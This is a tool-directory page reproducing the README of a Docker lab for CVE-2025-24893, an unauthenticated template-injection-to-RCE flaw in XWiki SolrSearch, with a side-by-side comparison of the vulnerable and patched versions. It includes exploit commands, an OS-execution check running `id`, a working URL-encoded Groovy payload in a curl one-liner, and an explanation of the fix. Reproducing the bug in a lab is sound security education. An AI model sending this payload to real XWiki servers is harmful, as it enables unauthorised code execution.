Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24893_Analysis — Self-contained Docker lab that reproduces CVE-2025-24893, an unauthenticated SSTI-to-RCE in XWiki SolrSearch, and compares vulnerable vs patched behavior. | Kitploit
Tools/GitHubGitHub/mattiacervelli/cve-2025-24893_analysis
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
mattiacervelli/cve-2025-24893_analysis

CVE-2025-24893_Analysis

Self-contained Docker lab that reproduces CVE-2025-24893, an unauthenticated SSTI-to-RCE in XWiki SolrSearch, and compares vulnerable vs patched behavior.

View Repository
1 day agoNot yet reviewed

CVE-2025-24893 - XWiki SolrSearch SSTI to unauthenticated RCE

A self-contained Docker lab that reproduces CVE-2025-24893, a Server-Side Template Injection in XWiki's SolrSearch RSS feed that leads to unauthenticated remote code execution. It runs the vulnerable version 15.10.10 and the patched version 15.10.11, so the same request can be shown succeeding on one and failing on the other.

Note on the use of AI tools. In preparing this project I made limited use of two AI assistants --- Anthropic's Claude Opus 4.8 and DeepSeek-V4-Flash-0731 --- for documentation and approach research, for code review, and for polishing the wording of the README.md file and of the LaTeX report. Their contribution was marginal and strictly subordinate to my own decisions.

1. Prerequisites

  • Docker Engine and Docker Compose v2 (the docker compose subcommand, not the old docker-compose binary). Record the versions for the report with docker --version and docker compose version.
  • About 2 GB of free RAM for the XWiki container (the JVM heap is set to 1 GB) plus MySQL.
  • Works on amd64 and arm64 (Apple Silicon included): the base image tomcat:9-jre17, mysql:8.4, and the pure-Java JDBC driver are all multi-arch.
  • Internet access on the first build only, to download the XWiki WAR and the JDBC driver, both checksum-verified.

2. Layout

root@kitploit:~
cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py                    # standard-library proof of concept
├── figures/
│   ├── Figure 1.png
│   ├── Figure 2.png
│   ├── Figure 3.png
│   └── Figure 4.png
├── mysql/
│   └── init.sql                  # privileges for the xwiki DB user
└── xwiki-build/                  # image build, pinned to the exact version by SHA-256
    ├── Dockerfile
    ├── tomcat/
    │   └── setenv.sh
    └── xwiki/
        ├── docker-entrypoint.sh
        └── hibernate.cfg.xml

The only difference between the two stacks is the XWiki version. Everything else, including the database image and the JDBC driver, is identical, so any change in behaviour is due to the fix and nothing else.

3. Reproduce the vulnerability (15.10.10)

Build and start:

root@kitploit:~
docker compose -f docker-compose.vuln.yml up --build -d

The first build downloads and unpacks XWiki, which takes a few minutes. Wait for Tomcat to report startup:

root@kitploit:~
docker compose -f docker-compose.vuln.yml logs -f xwiki   # wait for "Server startup in ..."

Finish the one-time first-boot setup: open http://localhost:8080 and complete the Distribution Wizard (install the default XWiki Standard flavor). This provisions the SolrSearch UI that the exploit targets. The endpoint is reachable by guests, so the attack itself needs no login; this initial setup is the only step that does.

Fire the exploit (unauthenticated):

root@kitploit:~
python3 exploit.py http://localhost:8080

Expected output on the vulnerable stack:

root@kitploit:~
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.

Optionally show that execution reaches the OS with a read-only command:

root@kitploit:~
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...

The same request as a plain curl one-liner:

root@kitploit:~
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42

Capture a screenshot of the output for the report, then tear down:

root@kitploit:~
docker compose -f docker-compose.vuln.yml down          # add -v to also wipe the volumes

4. Reproduce the fix (15.10.11)

root@kitploit:~
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki   # wait for "Server startup in ..."

Complete the Distribution Wizard again at http://localhost:8080, then run the identical exploit:

root@kitploit:~
python3 exploit.py http://localhost:8080

Expected output on the patched stack:

root@kitploit:~
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).

Capture this screenshot too, then reset:

root@kitploit:~
docker compose -f docker-compose.patched.yml down -v

Why the fix works

In 15.10.10 the feed-output block emits the feed as a bare Velocity expression ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), so the feed - which reflects the user's search text - is passed back through XWiki's rendering pipeline, where an embedded {{groovy}} macro gets executed. In 15.10.11 that block is replaced by a call to a new rawResponse macro (SolrSearchMacros.xml line 954; the macro is defined in templates/macros.vm). rawResponse sets the content type explicitly (application/rss+xml), writes the feed bytes straight to the response with $response.writer.print(...), and calls $xcontext.setFinished(true) to stop any further rendering, so the feed is sent verbatim and the embedded {{groovy}} block is never evaluated. Patch commit 67021db9b8ed26c2236a653269302a86bf01ef40, advisory GHSA-rr6p-3pfg-562j. The advisory also gives a manual workaround: edit Main.SolrSearchMacros to use the same pattern, which closes the sink without upgrading.

5. Determinism and reset

  • Pinned: the XWiki versions (15.10.10 and 15.10.11), the WAR and JDBC SHA-256 checksums, the base image tomcat:9-jre17, the database mysql:8.4, and the port 8080.
  • Reset state with docker compose -f <file> down -v; the next up re-initialises from scratch.
  • The credentials (xwiki/xwiki, root xwiki-root) are for this local lab only.
  • The two stacks use different Compose project names, so their volumes never collide. Do not run both at once, since both publish port 8080.

6. Verify the pinned checksums yourself

root@kitploit:~
for V in 15.10.10 15.10.11; do
  curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
  echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
#         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c

curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5

Attribution

xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) and mysql/init.sql are adapted or vendored from XWiki's official build, https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). The Dockerfile differs from the upstream image in three small, documented ways: (1) the XWiki and JDBC version and checksum are passed as build args, so one file builds both the vulnerable and the patched image; (2) an explicit chmod +x guarantees the entrypoint is executable even if Unix permissions are lost when the files are unzipped or transferred; and (3) a stale upstream comment referring to a .env file (unused here) was corrected. XWiki is copyright the XWiki Development Team.

Download Tool
rawResponse